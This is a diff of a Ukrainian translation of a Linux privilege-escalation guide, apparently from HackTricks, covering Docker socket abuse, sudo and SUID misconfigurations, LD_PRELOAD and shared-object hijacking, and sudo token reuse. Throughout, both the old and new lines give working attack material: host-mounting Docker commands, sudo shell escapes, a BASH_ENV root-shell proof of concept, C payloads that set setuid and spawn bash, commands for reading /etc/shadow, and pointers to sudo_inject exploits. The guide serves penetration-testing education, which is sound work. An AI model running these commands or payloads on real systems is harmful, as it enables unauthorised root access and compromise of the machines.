-**Приклад експлуатації:**
+**Exploitation example:**
{{#ref}}
socket-command-injection.md
{{#endref}}
-### HTTP сокети
+### HTTP sockets
-Зауважте, що можуть бути деякі **сокети, що слухають HTTP** запити (_я не говорю про .socket файли, а про файли, що виступають у ролі unix sockets_). Ви можете перевірити це за допомогою:
+Зверніть увагу, що можуть бути деякі **sockets listening for HTTP** requests (_я не маю на увазі .socket files, а файли, що виступають як unix sockets_). Перевірити це можна за допомогою:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
-Якщо сокет **відповідає на HTTP-запит**, то ви можете з ним **спілкуватися** і, можливо, **експлуатувати якусь вразливість**.
+Якщо socket **responds with an HTTP** request, то ви можете **communicate** з ним і, можливо, **exploit some vulnerability**.
-### Docker сокет з правами на запис
+### Доступний для запису Docker Socket
-The Docker socket, often found at `/var/run/docker.sock`, є критичним файлом, який потрібно захистити. За замовчуванням він доступний для запису користувачу `root` та членам групи `docker`. Маючи доступ на запис до цього сокету, ви можете досягти privilege escalation. Нижче — розбивка того, як це можна зробити, та альтернативні методи, якщо Docker CLI недоступний.
+Docker socket, часто знаходиться за `/var/run/docker.sock`, є критично важливим файлом, який слід захистити. За замовчуванням він доступний для запису користувачу `root` та членам групи `docker`. Наявність прав запису до цього socket може призвести до privilege escalation. Нижче наведено розбір того, як це можна зробити, та альтернативні методи, якщо Docker CLI недоступний.
#### **Privilege Escalation with Docker CLI**
-Якщо ви маєте доступ на запис до Docker сокету, ви можете escalate privileges, використовуючи наступні команди:
+Якщо у вас є write access до Docker socket, ви можете escalate privileges, використовуючи наступні команди:
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
-Ці команди дозволяють запустити контейнер з root-доступом до файлової системи хоста.
+Ці команди дозволяють запустити контейнер із доступом на рівні root до файлової системи хоста.
#### **Використання Docker API безпосередньо**
-У випадках, коли Docker CLI недоступний, docker socket все ще можна використовувати через Docker API та команди `curl`.
+У випадках, коли Docker CLI недоступний, Docker socket все ще можна маніпулювати за допомогою Docker API та команд `curl`.
-1. **List Docker Images:** Отримати список доступних images.
+1. **List Docker Images:** Отримати список доступних образів.
```bash
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```
-2. **Create a Container:** Надішліть запит на створення контейнера, який монтує кореневий каталог хоста.
+2. **Create a Container:** Надіслати запит на створення контейнера, який монтує кореневий каталог хост-системи.
```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
@@ -579,7 +578,7 @@ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.so
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start
```
-3. **Attach to the Container:** Використайте `socat` для встановлення з'єднання з контейнером, що дозволить виконувати команди всередині нього.
+3. **Attach to the Container:** Використайте `socat`, щоб встановити з'єднання з контейнером, що дозволить виконувати команди всередині нього.
```bash
socat - UNIX-CONNECT:/var/run/docker.sock
@@ -589,31 +588,31 @@ Connection: Upgrade
Upgrade: tcp
```
-Після налаштування з'єднання через `socat` ви зможете виконувати команди безпосередньо в контейнері з root-доступом до файлової системи хоста.
+Після встановлення `socat`-з'єднання ви можете виконувати команди безпосередньо в контейнері з доступом root до файлової системи хоста.
### Інше
-Зверніть увагу, що якщо у вас є права на запис у docker socket через те, що ви **входите до групи `docker`**, у вас є [**більше способів ескалації привілеїв**](interesting-groups-linux-pe/index.html#docker-group). Якщо [**docker API слухає порт** ви також можете бути в змозі скомпрометувати його](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
+Зауважте, що якщо у вас є права запису до docker socket, оскільки ви **є членом групи `docker`**, у вас є [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Якщо [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
-Перевірте **більше способів вийти з docker або зловживати ним для ескалації привілеїв** в:
+Перегляньте **more ways to break out from docker or abuse it to escalate privileges** в:
{{#ref}}
docker-security/
{{#endref}}
-## Containerd (ctr) підвищення привілеїв
+## Containerd (ctr) privilege escalation
-Якщо ви виявите, що можете використовувати команду **`ctr`**, прочитайте наступну сторінку, оскільки **ви можете зловживати нею для ескалації привілеїв**:
+Якщо ви можете використовувати команду **`ctr`**, прочитайте наступну сторінку, оскільки **you may be able to abuse it to escalate privileges**:
{{#ref}}
containerd-ctr-privilege-escalation.md
{{#endref}}
-## **RunC** підвищення привілеїв
+## **RunC** privilege escalation
-Якщо ви виявите, що можете використовувати команду **`runc`**, прочитайте наступну сторінку, оскільки **ви можете зловживати нею для ескалації привілеїв**:
+Якщо ви можете використовувати команду **`runc`**, прочитайте наступну сторінку, оскільки **you may be able to abuse it to escalate privileges**:
{{#ref}}
@@ -622,13 +621,13 @@ runc-privilege-escalation.md
## **D-Bus**
-D-Bus — це складна система міжпроцесної взаємодії (inter-Process Communication (IPC) system), яка дозволяє застосункам ефективно взаємодіяти та обмінюватися даними. Розроблена для сучасних Linux-систем, вона пропонує надійну структуру для різних форм комунікації між застосунками.
+D-Bus — це складна Inter-Process Communication (IPC) система, яка дозволяє застосункам ефективно взаємодіяти та обмінюватися даними. Розроблена для сучасної системи Linux, вона надає надійну основу для різних форм комунікації між застосунками.
-Система є універсальною, підтримуючи базові IPC-механізми, що покращують обмін даними між процесами, нагадуючи розширені UNIX domain sockets. Крім того, вона допомагає транслювати події або сигнали, сприяючи безшовній інтеграції між компонентами системи. Наприклад, сигнал від демона Bluetooth про вхідний дзвінок може змусити музичний плеєр приглушити звук, покращуючи користувацький досвід. Додатково, D-Bus підтримує систему віддалених об'єктів, спрощуючи запити сервісів і виклики методів між застосунками, що робить складні процеси простішими.
+Система багатофункціональна: підтримує базовий IPC, який покращує обмін даними між процесами, нагадуючи розширені UNIX domain sockets. Крім того, вона допомагає транслювати події або сигнали, сприяючи безшовній інтеграції компонентів системи. Наприклад, сигнал від Bluetooth-демона про вхідний дзвінок може змусити медіаплеєр приглушити звук, покращуючи користувацький досвід. Також D-Bus підтримує remote object system, що спрощує запити сервісів та виклики методів між застосунками, оптимізуючи процеси, які раніше були складними.
-D-Bus працює за моделлю **allow/deny**, керуючи дозволами на повідомлення (виклики методів, емісії сигналів тощо) на основі кумулятивного ефекту правил політики, що збігаються. Ці політики визначають взаємодії з шиною, що потенційно може призвести до ескалації привілеїв через експлуатацію цих дозволів.
+D-Bus працює за моделлю allow/deny, керуючи дозволами на повідомлення (виклики методів, відправлення сигналів тощо) на основі кумулятивного ефекту співпадних правил політики. Ці політики визначають взаємодії з шиною, потенційно дозволяючи privilege escalation шляхом експлуатації цих дозволів.
-Приклад такої політики в `/etc/dbus-1/system.d/wpa_supplicant.conf` наведено нижче, що детально описує дозволи для користувача root володіти, надсилати та отримувати повідомлення від `fi.w1.wpa_supplicant1`.
+Наведено приклад такої політики у `/etc/dbus-1/system.d/wpa_supplicant.conf`, що деталізує дозволи для користувача root на володіння, відправлення та отримання повідомлень від fi.w1.wpa_supplicant1.
Політики без вказаного користувача або групи застосовуються універсально, тоді як політики в контексті "default" застосовуються до всіх, хто не покритий іншими специфічними політиками.
```xml
@@ -639,7 +638,7 @@ D-Bus працює за моделлю **allow/deny**, керуючи дозво
```
-**Дізнайтеся, як enumerate та exploit D-Bus communication тут:**
+**Дізнайтеся, як enumerate та exploit D-Bus комунікацію тут:**
{{#ref}}
@@ -648,7 +647,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md
## **Мережа**
-Завжди цікаво виконати enumerate мережі та визначити, де знаходиться машина.
+Завжди цікаво enumerate мережу та визначити розташування машини в ній.
### Загальна enumeration
```bash
@@ -675,22 +674,22 @@ lsof -i
```
### Відкриті порти
-Завжди перевіряйте мережеві сервіси, що працюють на машині, з якими ви не могли взаємодіяти до отримання доступу:
+Завжди перевіряйте мережеві сервіси, що працюють на машині, з якими ви не мали змоги взаємодіяти до отримання доступу:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
```
### Sniffing
-Перевірте, чи можете sniff traffic. Якщо так, ви зможете отримати деякі credentials.
+Перевірте, чи можете sniff traffic. Якщо так, ви зможете отримати деякі облікові дані.
```
timeout 1 tcpdump
```
## Користувачі
-### Загальна енумерація
+### Загальна перевірка
-Перевірте, хто ви, які у вас **привілеї**, які **користувачі** є в системі, хто може **login** і хто має **root привілеї**:
+Перевірте, **хто** ви, які **privileges** у вас є, які **users** є в системі, хто може **login** та хто має **root privileges:**
```bash
#Info about me
id || (whoami && groups) 2>/dev/null
@@ -712,23 +711,23 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so
#Current user PGP keys
gpg --list-keys 2>/dev/null
```
-### Big UID
+### Великий UID
-Деякі версії Linux були вразливі до бага, який дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Детальніше: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\
-**Експлуатувати** за допомогою: **`systemd-run -t /bin/bash`**
+Деякі версії Linux були вражені помилкою, яка дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\
+**Експлуатуйте це** за допомогою: **`systemd-run -t /bin/bash`**
### Groups
-Перевірте, чи ви є **членом якоїсь групи**, яка може надати вам привілеї root:
+Перевірте, чи ви є **членом якоїсь групи**, яка може надати вам root privileges:
{{#ref}}
interesting-groups-linux-pe/
{{#endref}}
-### Clipboard
+### Буфер обміну
-Перевірте, чи є у буфері обміну щось цікаве (якщо це можливо)
+Перевірте, чи є в буфері обміну щось цікаве (якщо можливо)
```bash
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
@@ -745,27 +744,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
```
### Відомі паролі
-Якщо ви **знаєте будь-який пароль** у середовищі, **спробуйте увійти під кожним користувачем**, використовуючи цей пароль.
+Якщо ви **знаєте будь-який пароль** середовища, **спробуйте ввійти під кожним користувачем**, використавши цей пароль.
### Su Brute
-Якщо вас не лякає велика кількість шуму і бінарні файли `su` та `timeout` присутні на комп'ютері, ви можете спробувати перебрати пароль користувача за допомогою [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
-[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) з параметром `-a` також намагається перебрати паролі користувачів.
+Якщо ви не проти створити багато шуму і на комп'ютері присутні бінарні файли `su` і `timeout`, ви можете спробувати brute-force користувача за допомогою [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
+[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) з параметром `-a` також пробує brute-force користувачів.
-## Зловживання записуваними елементами $PATH
+## Зловживання можливістю запису в $PATH
### $PATH
-Якщо ви виявите, що можете **записувати в якусь папку з $PATH**, ви можете підвищити привілеї, **створивши backdoor у цій записуваній папці** з іменем команди, яка має виконуватися іншим користувачем (ідеально — root), і яка **не завантажується з папки, що розташована перед вашою записуваною папкою в $PATH**.
+Якщо ви виявите, що можете **записувати в якусь папку з $PATH**, ви можете підвищити привілеї, **створивши backdoor у записній папці** з ім'ям якоїсь команди, яка буде виконана іншим користувачем (бажано root), і яка **не завантажується з папки, що розташована перед** вашою записною папкою в $PATH.
-### SUDO та SUID
+### SUDO and SUID
-Вам може бути дозволено виконати певну команду за допомогою sudo або вони можуть мати suid-біт. Перевірте це за допомогою:
+Вам може бути дозволено виконувати певну команду через sudo або вона може мати suid bit. Перевірте це за допомогою:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
```
-Деякі **неочікувані команди дозволяють читати і/або записувати файли або навіть виконувати команду.** Наприклад:
+Деякі **неочікувані commands дозволяють вам читати та/або записувати файли або навіть виконувати command.** Наприклад:
```bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
@@ -776,37 +775,37 @@ less>!
```
### NOPASSWD
-Конфігурація Sudo може дозволити користувачеві виконати певну команду з привілеями іншого користувача без знання пароля.
+Налаштування sudo може дозволяти користувачу виконувати певну команду з привілеями іншого користувача без знання пароля.
```
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
-У цьому прикладі користувач `demo` може запускати `vim` як `root`; тепер тривіально отримати shell, додавши ssh key у директорію `root` або викликавши `sh`.
+У цьому прикладі користувач `demo` може запускати `vim` як `root`; тепер тривіально отримати shell, додавши ssh key у root directory або викликавши `sh`.
```
sudo vim -c '!sh'
```
### SETENV
-Ця директива дозволяє користувачу **встановити змінну середовища** під час виконання чогось:
+Ця директива дозволяє користувачеві **встановити змінну середовища** під час виконання команди:
```bash
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
```
-Цей приклад, **на основі HTB machine Admirer**, був **уразливий** до **PYTHONPATH hijacking** для завантаження довільної python library під час виконання скрипта як root:
+Цей приклад, **based on HTB machine Admirer**, був **вразливий** до **PYTHONPATH hijacking**, щоб завантажити довільну python library під час виконання скрипту від імені root:
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
### BASH_ENV збережено через sudo env_keep → root shell
-Якщо sudoers зберігає `BASH_ENV` (наприклад, `Defaults env_keep+="ENV BASH_ENV"`), можна скористатися неінтерактивною поведінкою запуску Bash, щоб виконати довільний код від імені root при виклику дозволеної команди.
+Якщо sudoers зберігає `BASH_ENV` (наприклад, `Defaults env_keep+="ENV BASH_ENV"`), ви можете використати неінтерактивну поведінку запуску Bash, щоб виконати довільний код від імені root під час виклику дозволеної команди.
-- Why it works: Для неінтерактивних shell-ів Bash оцінює `$BASH_ENV` і sources цей файл перед запуском цільового скрипта. Багато правил sudo дозволяють запуск скрипта або shell-обгортки. Якщо `BASH_ENV` зберігається sudo, ваш файл буде sourced з привілеями root.
+- Why it works: Для non-interactive shells, Bash оцінює `$BASH_ENV` і sources той файл перед запуском цільового скрипта. Багато правил sudo дозволяють запускати скрипт або shell wrapper. Якщо `BASH_ENV` збережено sudo, ваш файл буде sourced із правами root.
- Вимоги:
-- Правило sudo, яке ви можете виконати (будь-яка ціль, що викликає `/bin/bash` неінтерактивно, або будь-який bash-скрипт).
-- `BASH_ENV` присутній в `env_keep` (перевірте за допомогою `sudo -l`).
+- Правило sudo, яке ви можете виконати (будь-яка ціль, що викликає `/bin/bash` неінтерактивно, або будь-який bash script).
+- `BASH_ENV` присутній у `env_keep` (перевірте за допомогою `sudo -l`).
- PoC:
```bash
@@ -818,14 +817,14 @@ chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
# You should now have a root shell
```
-- Зміцнення безпеки:
+- Підвищення безпеки:
- Видаліть `BASH_ENV` (та `ENV`) з `env_keep`, віддавайте перевагу `env_reset`.
-- Уникайте shell wrappers для sudo-allowed команд; використовуйте мінімальні binaries.
-- Розгляньте sudo I/O logging та alerting, коли використовуються preserved env vars.
+- Уникайте shell-обгорток для команд, дозволених через sudo; використовуйте мінімальні бінарні файли.
+- Розгляньте sudo I/O логування та оповіщення при використанні збережених env vars.
### Шляхи обходу виконання sudo
-**Перейдіть** щоб прочитати інші файли або використати **symlinks**. Наприклад, у sudoers файлі: _hacker10 ALL= (root) /bin/less /var/log/\*_
+**Перейдіть** щоб прочитати інші файли або використати **symlinks**. Наприклад, у файлі sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
@@ -840,45 +839,45 @@ sudo less /var/log/new #Use symlinks to read any file
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
```
-**Заходи протидії**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
+**Контрзаходи**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
-### Sudo command/SUID binary без шляху до команди
+### Sudo command/SUID binary без вказаного шляху до команди
-Якщо користувачу надано **дозвіл sudo** для однієї команди **без вказання шляху**: _hacker10 ALL= (root) less_ — ви можете експлуатувати це, змінивши змінну PATH.
+Якщо **sudo permission** надається для однієї команди **без вказування шляху**: _hacker10 ALL= (root) less_ ви можете експлуатувати це, змінивши змінну PATH
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
-Цю техніку також можна використати, якщо **suid** бінарник **виконує іншу команду без вказання шляху до неї (завжди перевіряйте за допомогою** _**strings**_ **вміст підозрілого SUID бінарника)**).
+Цю техніку також можна використовувати, якщо **suid** бінарник **виконує іншу команду без вказання шляху до неї (завжди перевіряйте вміст підозрілого SUID бінарного файлу за допомогою** _**strings**_**)**.
[Payload examples to execute.](payloads-to-execute.md)
-### SUID binary with command path
+### SUID binary з вказаним шляхом команди
-Якщо **suid** бінарник **виконує іншу команду з вказаним шляхом**, то ви можете спробувати **експортувати функцію** з іменем тієї команди, яку викликає suid файл.
+Якщо **suid** бінарник **виконує іншу команду, вказуючи шлях**, то ви можете спробувати **export a function** з ім'ям тієї команди, яку викликає suid файл.
-Наприклад, якщо suid бінарник викликає _**/usr/sbin/service apache2 start**_, вам потрібно спробувати створити функцію та експортувати її:
+Наприклад, якщо suid бінар викликає _**/usr/sbin/service apache2 start**_, вам потрібно спробувати створити функцію і експортувати її:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
-Потім, коли ви викличете suid binary, ця функція буде виконана
+Тоді, коли ви викличете suid-бінарний файл, ця функція буде виконана
### LD_PRELOAD & **LD_LIBRARY_PATH**
-Змінна оточення **LD_PRELOAD** використовується для вказівки однієї або кількох спільних бібліотек (.so файлів), які завантажуються завантажувачем перед усіма іншими, включно зі стандартною бібліотекою C (`libc.so`). Цей процес відомий як попереднє завантаження бібліотеки.
+Змінна середовища **LD_PRELOAD** використовується для вказування однієї або кількох спільних бібліотек (.so файли), які мають бути завантажені loader'ом перед усіма іншими, включно зі стандартною бібліотекою C (`libc.so`). Цей процес відомий як попереднє завантаження бібліотеки.
-Однак, щоб підтримувати безпеку системи та запобігти зловживанню цією функцією, особливо щодо **suid/sgid** виконуваних файлів, система накладає певні умови:
+Однак, щоб підтримувати безпеку системи та запобігти використанню цієї можливості, особливо з **suid/sgid** виконуваними файлами, система застосовує певні обмеження:
-- Завантажувач ігнорує **LD_PRELOAD** для виконуваних файлів, у яких реальний ідентифікатор користувача (_ruid_) не збігається з ефективним (_euid_).
-- Для виконуваних файлів з suid/sgid попередньо завантажуються лише бібліотеки у стандартних шляхах, які також мають suid/sgid.
+- Завантажувач ігнорує **LD_PRELOAD** для виконуваних файлів, де реальний ідентифікатор користувача (_ruid_) не збігається з ефективним ідентифікатором (_euid_).
+- Для виконуваних файлів з suid/sgid попередньо завантажуються лише бібліотеки в стандартних шляхах, які також мають біт suid/sgid.
-Підвищення привілеїв може статися, якщо ви маєте можливість виконувати команди з `sudo`, і вивід `sudo -l` містить рядок **env_keep+=LD_PRELOAD**. Така конфігурація дозволяє змінній оточення **LD_PRELOAD** зберігатися й бути розпізнаною навіть під час виконання команд з `sudo`, що потенційно може призвести до виконання довільного коду з підвищеними привілеями.
+Підвищення привілеїв може статися, якщо ви маєте можливість виконувати команди з `sudo` і вивід `sudo -l` містить запис **env_keep+=LD_PRELOAD**. Ця конфігурація дозволяє змінній середовища **LD_PRELOAD** зберігатися і визнаватися навіть під час виконання команд через `sudo`, що потенційно може призвести до виконання довільного коду з підвищеними привілеями.
```
Defaults env_keep += LD_PRELOAD
```
-Збережіть як **/tmp/pe.c**
+Зберегти як **/tmp/pe.c**
```c
#include
#include
@@ -891,17 +890,17 @@ setuid(0);
system("/bin/bash");
}
```
-Потім **скомпілюйте це** за допомогою:
+Потім **скомпілюйте це** використовуючи:
```bash
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
-Нарешті, **escalate privileges** виконуючи
+Нарешті, **escalate privileges** під час виконання
```bash
sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo
```
> [!CAUTION]
-> Подібний privesc може бути використаний, якщо зловмисник контролює **LD_LIBRARY_PATH** env variable, оскільки це визначає шлях, у якому будуть шукатися бібліотеки.
+> Подібний privesc може бути використаний, якщо атакувальник контролює змінну середовища **LD_LIBRARY_PATH**, оскільки він контролює шлях, за яким будуть шукатися бібліотеки.
```c
#include
#include
@@ -923,13 +922,13 @@ sudo LD_LIBRARY_PATH=/tmp
```
### SUID Binary – .so injection
-Якщо ви натрапили на binary з правами **SUID**, який виглядає підозріло, корисно перевірити, чи він правильно завантажує **.so** файли. Це можна зробити, виконавши наступну команду:
+Коли натрапляєте на бінарний файл з правами **SUID**, який виглядає підозрілим, корисно перевірити, чи він правильно завантажує **.so** файли. Це можна зробити, виконавши таку команду:
```bash
strace 2>&1 | grep -i -E "open|access|no such file"
```
-Наприклад, поява помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенційну можливість експлуатації.
+Наприклад, виявлення помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ свідчить про потенційну можливість експлуатації.
-Щоб це експлуатувати, слід створити C-файл, наприклад _"/path/to/.config/libcalc.c"_, який містить наступний код:
+Щоб скористатися цим, потрібно створити C-файл, наприклад _"/path/to/.config/libcalc.c"_, який міститиме наступний код:
```c
#include
#include
@@ -940,13 +939,13 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
-Цей код, після компіляції та виконання, має на меті підвищити привілеї шляхом маніпуляції дозволами файлів та виконання shell з підвищеними привілеями.
+Цей код, після компіляції та виконання, має на меті підвищити привілеї шляхом маніпулювання правами доступу до файлів та запуску shell із підвищеними привілеями.
-Скомпілюйте вищевказаний C file у shared object (.so) file за допомогою:
+Скомпілюйте наведений вище C-файл у спільний об'єкт (.so) файл за допомогою:
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
-Нарешті, запуск ураженого SUID binary має спровокувати exploit, що може призвести до компрометації системи.
+Нарешті, запуск ураженого SUID binary має спровокувати exploit, що може призвести до system compromise.
## Shared Object Hijacking
```bash
@@ -958,7 +957,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
-Тепер, коли ми знайшли SUID binary, який завантажує бібліотеку з папки, в яку ми можемо записувати, створимо бібліотеку в цій папці з необхідною назвою:
+Тепер, коли ми знайшли SUID binary, який завантажує бібліотеку з папки, у яку ми можемо записувати, створімо бібліотеку в цій папці з необхідною назвою:
```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include
@@ -971,17 +970,17 @@ setresuid(0,0,0);
system("/bin/bash -p");
}
```
-Якщо ви отримуєте помилку, таку як
+Якщо ви отримаєте помилку на кшталт
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
-це означає, що бібліотека, яку ви згенерували, повинна мати функцію з назвою `a_function_name`.
+that means that the library you have generated need to have a function called `a_function_name`.
### GTFOBins
-[**GTFOBins**](https://gtfobins.github.io) — це кураторський список Unix бінарних утиліт, які можуть бути використані атакуючим для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) — те саме, але для випадків, коли ви можете **лише вставляти аргументи** у команду.
+[**GTFOBins**](https://gtfobins.github.io) — це кураторський список Unix binaries, які можуть бути використані зловмисником для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) — те саме, але для випадків, коли ви можете **only inject arguments** в команду.
-Проект збирає легітимні функції Unix бінарників, які можуть бути зловживані для виходу з restricted shells, escalate або підтримання elevated privileges, передачі файлів, створення bind і reverse shells, та полегшення інших post-exploitation задач.
+Проект збирає легітимні функції Unix binaries, які можна зловживати для виходу з restricted shells, escalate або maintain elevated privileges, transfer files, spawn bind and reverse shells та полегшення інших post-exploitation tasks.
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@@ -1000,60 +999,60 @@ https://gtfoargs.github.io/
### FallOfSudo
-Якщо ви можете виконати `sudo -l`, ви можете скористатися інструментом [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) щоб перевірити, чи він знаходить спосіб експлуатувати будь-яке правило sudo.
+Якщо ви маєте доступ до `sudo -l`, ви можете використати інструмент [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) щоб перевірити, чи знаходить він спосіб експлуатувати будь-яке правило sudo.
-### Повторне використання sudo токенів
+### Reusing Sudo Tokens
-У випадках, коли у вас є **sudo access**, але немає пароля, ви можете підвищити привілеї, **чекаючи виконання команди sudo і потім перехопивши session token**.
+У випадках, коли у вас є **sudo access**, але немає пароля, ви можете підвищити привілеї, чекаючи на виконання команди sudo і перехопивши session token.
Вимоги для підвищення привілеїв:
- Ви вже маєте shell як користувач "_sampleuser_"
-- "_sampleuser_" **використовував `sudo`** для виконання чогось в **останні 15mins** (за замовчуванням це тривалість sudo token, який дозволяє нам використовувати `sudo` без введення пароля)
-- `cat /proc/sys/kernel/yama/ptrace_scope` is 0
-- `gdb` доступний (ви можете завантажити його)
+- "_sampleuser_" **used `sudo`** для виконання чогось в **останні 15 хвилин** (за замовчуванням це тривалість sudo token, що дозволяє використовувати `sudo` без введення пароля)
+- `cat /proc/sys/kernel/yama/ptrace_scope` має значення 0
+- `gdb` доступний (ви можете його завантажити)
-(Ви можете тимчасово увімкнути `ptrace_scope` командою `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` або постійно змінити `/etc/sysctl.d/10-ptrace.conf` і встановити `kernel.yama.ptrace_scope = 0`)
+(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`)
-Якщо всі ці вимоги виконано, **ви можете підвищити привілеї використовуючи:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
+Якщо всі ці вимоги виконані, **ви можете підвищити привілеї за допомогою:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
-- Перший експлойт (`exploit.sh`) створить бінарний файл `activate_sudo_token` в _/tmp_. Ви можете використати його, щоб **активувати sudo token у вашій сесії** (ви автоматично не отримаєте root shell, виконайте `sudo su`):
+- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`):
```bash
bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
-- **другий exploit** (`exploit_v2.sh`) створить sh shell у _/tmp_ **який належить root і має setuid**
+- Цей **second exploit** (`exploit_v2.sh`) створить sh shell у _/tmp_ **owned by root with setuid**
```bash
bash exploit_v2.sh
/tmp/sh -p
```
-- **третій exploit** (`exploit_v3.sh`) **створить файл sudoers**, який робить **sudo tokens вічними та дозволяє всім користувачам користуватися sudo**
+- **Третій exploit** (`exploit_v3.sh`) **створить sudoers file**, який робить **sudo tokens вічними і дозволяє всім користувачам використовувати sudo**
```bash
bash exploit_v3.sh
sudo su
```
### /var/run/sudo/ts/\
-Якщо у вас є **права запису** у папці або на будь-якому зі створених у цій папці файлів, ви можете використовувати бінарний файл [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools), щоб **створити sudo token для користувача та PID**.\
-Наприклад, якщо ви можете перезаписати файл _/var/run/sudo/ts/sampleuser_ і маєте shell від імені цього користувача з PID 1234, ви можете **отримати привілеї sudo** без необхідності знати пароль, виконавши:
+Якщо у вас є **write permissions** в цій папці або на будь-який із створених у ній файлів, ви можете використати бінарний файл [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) щоб **create a sudo token for a user and PID**.\
+Наприклад, якщо ви можете перезаписати файл _/var/run/sudo/ts/sampleuser_ і маєте shell від імені цього користувача з PID 1234, ви можете **obtain sudo privileges** без необхідності знати пароль, зробивши:
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
### /etc/sudoers, /etc/sudoers.d
-Файл `/etc/sudoers` та файли всередині `/etc/sudoers.d` налаштовують, хто може використовувати `sudo` і як. Ці файли **за замовчуванням можна читати лише користувачу root та групі root**.\
-**Якщо** ви можете **прочитати** цей файл, ви можете **отримати деяку цікаву інформацію**, а якщо ви можете **записати** будь-який файл, ви зможете **escalate privileges**.
